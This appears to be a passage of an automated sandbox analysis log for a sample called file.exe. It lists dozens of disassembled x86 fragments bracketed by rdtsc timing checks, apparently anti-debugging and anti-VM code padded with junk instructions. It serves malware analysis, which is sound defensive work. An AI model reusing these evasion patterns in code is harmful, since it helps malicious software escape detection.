Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 532044E second address: 53204A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, dx 0x00000006 pushfd 0x00000007 jmp 00007FE764CFA4E3h 0x0000000c jmp 00007FE764CFA4E3h 0x00000011 popfd 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 xor dword ptr [ebp-08h], eax 0x00000018 jmp 00007FE764CFA4E6h 0x0000001d xor eax, ebp 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53204A0 second address: 53204A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53204A6 second address: 53204AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53204AC second address: 532052F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 jmp 00007FE764FBC4C8h 0x0000000e mov dword ptr [esp], eax 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007FE764FBC4BEh 0x00000018 sub si, 7F68h 0x0000001d jmp 00007FE764FBC4BBh 0x00000022 popfd 0x00000023 pushad 0x00000024 jmp 00007FE764FBC4C6h 0x00000029 push ecx 0x0000002a pop ebx 0x0000002b popad 0x0000002c popad 0x0000002d lea eax, dword ptr [ebp-10h] 0x00000030 jmp 00007FE764FBC4BCh 0x00000035 mov dword ptr fs:[00000000h], eax 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007FE764FBC4BAh 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 532052F second address: 532053E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE764CFA4DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 532053E second address: 5320594 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FE764FBC4BFh 0x00000008 pop eax 0x00000009 mov edx, 7A643C9Ch 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov dword ptr [ebp-18h], esp 0x00000014 jmp 00007FE764FBC4BBh 0x00000019 mov eax, dword ptr fs:[00000018h] 0x0000001f pushad 0x00000020 mov edi, esi 0x00000022 mov edx, eax 0x00000024 popad 0x00000025 mov ecx, dword ptr [eax+00000FDCh] 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007FE764FBC4C9h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320594 second address: 53205B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE764CFA4E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test ecx, ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov bh, 60h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53205B2 second address: 53205B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53205B7 second address: 5320617 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FE764CFA4E1h 0x00000009 add al, 00000066h 0x0000000c jmp 00007FE764CFA4E1h 0x00000011 popfd 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 jns 00007FE764CFA510h 0x0000001b pushad 0x0000001c jmp 00007FE764CFA4E3h 0x00000021 mov dx, ax 0x00000024 popad 0x00000025 add eax, ecx 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007FE764CFA4E1h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320617 second address: 5320698 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, ebx 0x00000005 mov edx, 69ACC0FEh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ecx, dword ptr [ebp+08h] 0x00000010 pushad 0x00000011 movsx edi, ax 0x00000014 pushad 0x00000015 push ecx 0x00000016 pop ebx 0x00000017 pushfd 0x00000018 jmp 00007FE764FBC4C6h 0x0000001d jmp 00007FE764FBC4C5h 0x00000022 popfd 0x00000023 popad 0x00000024 popad 0x00000025 test ecx, ecx 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a pushfd 0x0000002b jmp 00007FE764FBC4C3h 0x00000030 adc ax, 706Eh 0x00000035 jmp 00007FE764FBC4C9h 0x0000003a popfd 0x0000003b push ecx 0x0000003c pop edx 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320698 second address: 53206B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE764CFA4E8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310045 second address: 53100E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE764FBC4C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov edx, 30950892h 0x00000010 pushfd 0x00000011 jmp 00007FE764FBC4C3h 0x00000016 adc eax, 1090388Eh 0x0000001c jmp 00007FE764FBC4C9h 0x00000021 popfd 0x00000022 popad 0x00000023 xchg eax, ebp 0x00000024 jmp 00007FE764FBC4BEh 0x00000029 mov ebp, esp 0x0000002b jmp 00007FE764FBC4C0h 0x00000030 sub esp, 2Ch 0x00000033 jmp 00007FE764FBC4C0h 0x00000038 xchg eax, ebx 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007FE764FBC4C7h 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53100E4 second address: 53100EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53100EA second address: 5310134 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FE764FBC4BEh 0x0000000e xchg eax, ebx 0x0000000f jmp 00007FE764FBC4C0h 0x00000014 xchg eax, edi 0x00000015 jmp 00007FE764FBC4C0h 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FE764FBC4BEh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310134 second address: 531013A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 531013A second address: 531013E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 531013E second address: 5310156 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, edi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FE764CFA4DBh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310156 second address: 531015A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 531015A second address: 5310160 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53101D0 second address: 53101DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov edi, 5B1FA608h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53102D9 second address: 5310309 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE764CFA4E0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FE764CFA4E7h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310351 second address: 53103A2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE764FBC4BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jg 00007FE7D660A5E2h 0x0000000f pushad 0x00000010 mov dh, al 0x00000012 push eax 0x00000013 push edx 0x00000014 pushfd 0x00000015 jmp 00007FE764FBC4C7h 0x0000001a add ax, C16Eh 0x0000001f jmp 00007FE764FBC4C9h 0x00000024 popfd 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53103A2 second address: 53103DB instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FE764CFA4E0h 0x00000008 jmp 00007FE764CFA4E5h 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 js 00007FE764CFA573h 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a push edx 0x0000001b pop ecx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53103DB second address: 53103E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53103E0 second address: 53103FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE764CFA4E2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [ebp-14h], edi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53103FF second address: 531041C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE764FBC4C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 531041C second address: 5310423 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, 72h 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310423 second address: 5310442 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 jne 00007FE7D660A527h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FE764FBC4BEh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310442 second address: 5310451 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE764CFA4DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310451 second address: 5310469 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE764FBC4C4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310469 second address: 5310491 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebx, dword ptr [ebp+08h] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FE764CFA4E9h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310491 second address: 53104A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE764FBC4C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53104A6 second address: 53104AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53104AC second address: 53104B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53104B0 second address: 53104E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea eax, dword ptr [ebp-2Ch] 0x0000000b jmp 00007FE764CFA4DFh 0x00000010 xchg eax, esi 0x00000011 jmp 00007FE764CFA4E6h 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a mov edx, esi 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53104E9 second address: 53104EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53104EE second address: 5310504 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE764CFA4E2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310504 second address: 5310508 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310508 second address: 5310517 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310517 second address: 531051B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 531051B second address: 5310521 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310521 second address: 5310569 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, dx 0x00000006 movsx edx, ax 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d pushad 0x0000000e call 00007FE764FBC4C2h 0x00000013 pop ebx 0x00000014 call 00007FE764FBC4BEh 0x00000019 mov dl, ah 0x0000001b pop edi 0x0000001c popad 0x0000001d push eax 0x0000001e jmp 00007FE764FBC4BDh 0x00000023 nop 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310569 second address: 531056D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 531056D second address: 5310580 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE764FBC4BFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310B07 second address: 5310B0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310B0D second address: 5310B11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310B11 second address: 5310B23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310B23 second address: 5310B29 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310B29 second address: 5310B4F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE764CFA4DCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d call 00007FE764CFA4DDh 0x00000012 pop esi 0x00000013 movsx edx, ax 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310B4F second address: 5310B6C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ecx 0x00000005 mov dx, 3E08h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c call 00007FE7D66014CDh 0x00000011 push 76952B70h 0x00000016 push dword ptr fs:[00000000h] 0x0000001d mov eax, dword ptr [esp+10h] 0x00000021 mov dword ptr [esp+10h], ebp 0x00000025 lea ebp, dword ptr [esp+10h] 0x00000029 sub esp, eax 0x0000002b push ebx 0x0000002c push esi 0x0000002d push edi 0x0000002e mov eax, dword ptr [769B4538h] 0x00000033 xor dword ptr [ebp-04h], eax 0x00000036 xor eax, ebp 0x00000038 push eax 0x00000039 mov dword ptr [ebp-18h], esp 0x0000003c push dword ptr [ebp-08h] 0x0000003f mov eax, dword ptr [ebp-04h] 0x00000042 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000049 mov dword ptr [ebp-08h], eax 0x0000004c lea eax, dword ptr [ebp-10h] 0x0000004f mov dword ptr fs:[00000000h], eax 0x00000055 ret 0x00000056 push eax 0x00000057 push edx 0x00000058 jmp 00007FE764FBC4BAh 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310B6C second address: 5310B72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310B72 second address: 5310B76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310B76 second address: 5310B7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310B7A second address: 5310BBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, 00000000h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007FE764FBC4BBh 0x00000016 xor ecx, 13613EFEh 0x0000001c jmp 00007FE764FBC4C9h 0x00000021 popfd 0x00000022 mov ax, EF47h 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310C4F second address: 5310C55 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310C55 second address: 5310C59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310C59 second address: 5310C7B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FE7D632E1FAh 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FE764CFA4E2h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310C7B second address: 5310CA2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE764FBC4BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [ebp+08h], 00002000h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 jmp 00007FE764FBC4BBh 0x00000018 push eax 0x00000019 pop edi 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310CA2 second address: 5310CA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320A50 second address: 5320AA4 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FE764FBC4C8h 0x00000008 xor eax, 398F1278h 0x0000000e jmp 00007FE764FBC4BBh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 mov esi, 738165AFh 0x0000001b popad 0x0000001c xchg eax, ebp 0x0000001d pushad 0x0000001e mov ah, 5Bh 0x00000020 mov esi, edi 0x00000022 popad 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007FE764FBC4C5h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320AA4 second address: 5320AE6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE764CFA4E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b movzx eax, di 0x0000000e call 00007FE764CFA4E9h 0x00000013 mov esi, 77A31857h 0x00000018 pop esi 0x00000019 popad 0x0000001a mov ebp, esp 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320AE6 second address: 5320AEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320AEA second address: 5320AFE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE764CFA4E0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320AFE second address: 5320B2D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FE764FBC4C1h 0x00000008 pop esi 0x00000009 mov edi, 339719D4h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FE764FBC4BFh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320B2D second address: 5320B93 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE764CFA4E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], esi 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FE764CFA4DCh 0x00000013 jmp 00007FE764CFA4E5h 0x00000018 popfd 0x00000019 mov dx, cx 0x0000001c popad 0x0000001d mov esi, dword ptr [ebp+0Ch] 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FE764CFA4E9h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320B93 second address: 5320B99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320B99 second address: 5320B9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320B9D second address: 5320BA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320BA1 second address: 5320BB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test esi, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320BB1 second address: 5320BB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320BB5 second address: 5320BBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320BBB second address: 5320BC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320BC1 second address: 5320BC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320D13 second address: 5320D2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE764FBC4C4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320D7B second address: 5320D90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE764CFA4E1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320D90 second address: 5320D94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 660E548 second address: 660E558 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE764CFA4DBh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 660E558 second address: 660E55D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 660E55D second address: 660E563 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 679A681 second address: 679A6A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE764FBC4C5h 0x00000008 pushad 0x00000009 popad 0x0000000a push edi 0x0000000b pop edi 0x0000000c popad 0x0000000d pushad 0x0000000e push edx 0x0000000f pop edx 0x00000010 push edx 0x00000011 pop edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 678CAD8 second address: 678CAFC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE764CFA4E8h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b js 00007FE764CFA4D6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 678CAFC second address: 678CB00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
